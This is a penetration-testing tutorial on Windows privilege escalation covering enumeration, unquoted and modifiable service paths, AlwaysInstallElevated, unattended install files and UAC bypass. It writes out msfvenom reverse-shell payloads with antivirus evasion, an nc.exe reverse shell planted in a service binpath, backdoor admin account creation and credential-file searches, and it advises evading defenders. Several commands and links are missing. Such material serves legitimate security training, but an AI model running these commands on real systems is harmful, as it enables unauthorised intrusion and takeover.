Privilege escalation: Windows

If you started hacking on Linux, Windows can be frustrating and weird. But that's what most networks are running, from desktops to domain controllers. So you just have to get used to it.

Also, if you're doing a red team exercise and not just messing around on a lab machine or pen test, think long and hard about whether you need to privesc because it can alert the blue team. Even system enumeration commands like whoami and hostname might be detected because the average user isn't asking themselves this shit in between emails.

Gathering system information

Be warned, these commands will generate an overwhelming amount of information.

System information

Find out some basic information about the host:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
echo %username%
net users
net user user1

Output from the systeminfo command is useful for passing into script-based exploit suggesters (see below).

Active network connections

netstat -ano

Firewall settings

netsh firewall show state
netsh firewall show config

Scheduled tasks

schtasks /query /fo LIST /v

Running processes

Running processes linked to services:

tasklist /SVC

Running services:

net start

Installed drivers


Installed patches

wmic qfe get Caption,Description,HotFixID,InstalledOn

Program permissions

Check if a program has insecure permissions (e.g. anyone can read/write):

icacls program.exe
program.exe NT AUTHORITY\SYSTEM:(I)(F)
Everyone:(I)(F) # uh oh

Interesting files

Search for files that contain ‘password’ in the filename:

dir /s *password*

Search for the keyword ‘password’ in files with the .txt extension:

findstr /si password *.txt

Check for mapped drives (not gonna lie, you can pop a whole network by mining shared drives):

net use

Unquoted service path

This is a common vulnerability for installed programs that don't put quotes around the file path to the executable:

C:\Program Files\Some Software\Software.exe     #unquoted

"C:\Program Files\Some Software\Software.exe"

When Windows tries to locate the program, it guesses and tries to execute any word before a space. For example, in the unquoted service path above, Windows will try:


C:\Program Files\Some.exe

C:\Program Files\Some Software\Software.exe

An attacker could exploit this behaviour by putting a malicious program earlier in the file path so that Windows executes it before the legitimate one. In order for this to be successful, these conditions must be true:

  1. There is a service with an unquoted binary path containing one or more spaces in the path

  2. The current user has Write permissions for the folders containing spaces

  3. There is a way to reboot the system or service in order to execute a payload

List all services with an unquoted service path:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

If this returns a an unquoted service path, use icacls to check permissions on each directory in the path:

icacls "C:\Program Files\Some Software\"

If you can write to this directory, you can replace the executable with malicious one called Some.exe. This principle also applies to higher folders in the directory structure, if you have write permissions ('C:' and 'C:\Program Files'.

You can create a malicious .exe that sends a reverse shell to your machine with Metasploit (assuming there is no antivirus, haha):

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=[attack machine] LPORT=443 -f exe -o servicename.exe

Then restart the service:

sc stop [service name]

sc start [service name]

If you don't have permission to restart the service, you'll have to wait for a system reboot or a more privileged user to restart it.

If you're super lazy you can just use this Metasploit module: exploit/windows/local/trusted_service_path

Modifying binary service path

Similar to the unquoted service path vulnerability, you can attempt to modify the file path of a service and point it to a malicious executable in a writable directory.

Windows has a tool called named accesschk.exe which checks permissions. To display services which can be modified by an authenticated user:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

A service with write permissions for an authenticated user looks like this:

RW [service name] SERVICE_ALL_ACCESS

Show the service properties:

sc qc [service name]

This is where you can find out the BINARY_PATH_NAME value. Change the binary path on a particular service:

sc config [service name] binpath= "C:\tmp\nc.exe -nv [attack machine] 4444 -e C:\WINDOWS\System32\cmd.exe"
sc qc [service name]
sc stop [service name]
sc start [service name]

If the service is disabled when you type in sc qc [service name] you can enable it using sc config SSDPSRV start= auto - note that there is a space between the = and the option.

Common errors include ftp-ing nc.exe without using the binary command first and using the wrong " in the path. If you're working with Windows XP, you'll need to download this version. Also, the Administrator shell fired using this method will not last, so you should send yourself another shell immediately with a different port:

C:\tmp\nc.exe -nv [attack machine] 80 -e C:\WINDOWS\System32\cmd.exe

You can also add a new user and grant administrator rights using the binary path:

sc config [service name] binpath= "net user admin password /add"
sc stop [service name]
sc start [service name]
sc config [service name] binpath= "net localgroup Administrators admin /add"
sc stop [service name]
sc start [service name]

Again, if you're super lazy here's a Metasploit Module: exploit/windows/local/service_permissions

AlwaysInstallElevated setting

Windows registry has a setting that allows non-privileged users to install Microsoft Windows Installer Package Files (MSI) with elevated system permissions. There are 2 registry entries which have to be set to 1 to enable this setting.

Check the values of the registry keys:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If AlwaysInstallElevated is enabled in the registry entries you can create an installer payload with msfvenom (again assuming there is no antivirus):

msfvenom -p windows/adduser USER=admin PASS=password -f msi –o filename.msi

Generate a payload with a reverse shell:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=[attacking host] LPORT=443 -f msi -o filename.msi

Then use the following command to execute the msi installer file:

msiexec /quiet /qn /i C:\Users\filename.msi

A summary of these flags:

  • /quiet will bypass User Account Control (UAC)

  • /qn specifies not to use a GUI

  • /i is to perform a regular installation of the package

For the lazy, here's a Metasploit module: exploit/windows/local/always_install_elevated

Unattended Installs

Unattended Installs allows administrators to deploy Windows in a hands-off way. However, if they don't clean up after this process, an XML file called Unattend is left on the local system, full of configuration settings and possibly local account configurations (e.g. Administrators).

Unattend files are often found in these folders:


Common filenames:


Passwords in these files may be base64 encoded, decode them here or in Burp Decoder.

And if you're lazy, a Metasploit module: post/windows/gather/enum_unattend

BypassUAC Metasploit module

If you have a meterpreter shell and getsystem isn't working, you can try this method, which uses the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off.

First background your meterpreter session:


Then set the UAC bypass module:

use exploit/windows/local/bypassuac

Set the session ID and the listening host IP:

set session [Session ID]
set lhost [attacking host]

This will spawn a second shell with UAC disabled, which might help you get NT/AUTHORITY\SYSTEM



Windows Exploit Suggester

Windows Exploit Suggester is a tool to identify missing patches and associated exploits on a Windows host. It uses the output of systeminfo and compares it against the Microsoft vulnerability database, which is automatically downloaded and stores as a spreadsheet. Based on the output, the tool lists public exploits (E) and Metasploit modules (M).

If you don't have it, you can clone the git repository:

git clone

You may need to install the python-xlrd dependency for parsing Excel spreadsheets:

apt-get update
apt-get install python-xlrd

Change the working directory to the Windows Exploit Suggester directory and run the updater:

python --update

At that point, you should run systeminfo on the victim machine and save the contents as a text file:


Then run Windows Exploit Suggester to find vulnerabilities:

python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt

As with any script-based exploit suggester, there are false positives and junk data. To reduce the output to local vulnerabilities, add the --local option

python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt --local

Similarly, to filter output to remote vulnerabilities use --remote:

python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt --remote

WMI hotfixes

If can't retrieve installed hotfixes from systeminfo you can find installed patches using the WMI command-line (WMIC) utility:

wmic qfe list full

Store the output in a file named and run Windows Exploit Suggester with the following options:

python --database 2018-02-08-mssb.xls --systeminfo sysinfo.txt --hotfixes hotfixes.txt

Metasploit local exploit suggester

If you have a Meterpreter shell running, you can discover local exploits:

meterpreter > run post/multi/recon/local_exploit_suggester

The output is okay, but there seem to be a lot of false positives and incorrect versions.

Powersploit Privesc

This one might also be useful but I haven't tried it yet:

PowerSploit Privesc

If you have a Windows exploit written in python, you can create an executable by installing PyWin32 and then extracting and running the pyinstaller module:

python --onefile

Further reading

Last updated